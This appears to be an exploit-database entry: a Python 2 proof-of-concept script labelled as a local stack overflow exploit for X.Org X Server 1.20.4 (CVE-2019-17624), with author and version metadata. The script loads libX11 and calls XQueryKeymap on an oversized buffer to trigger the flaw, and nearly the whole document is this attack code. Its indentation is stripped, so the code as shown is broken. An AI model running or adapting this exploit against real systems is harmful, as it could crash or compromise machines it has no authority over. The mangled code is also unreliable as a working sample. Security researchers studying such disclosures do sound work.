# Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
# Date: 2019-10-16
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.x.org/
# Version: <= 1.20.4
# Tested on: Linux
# CVE: CVE-2019-17624

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
keyboard = (ct.c_char * 1000)()
x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

print "\n[*] Loading x11...\n"
time.sleep(2)

x11 = ct.cdll.LoadLibrary(find_library("X11"))
current_display = x11.XOpenDisplay(None)

print "[*] Exploiting...\n"
time.sleep(1)

try:
access_violation(x11, current_display)

except:
print "\nError...\n"
sys.exit(1)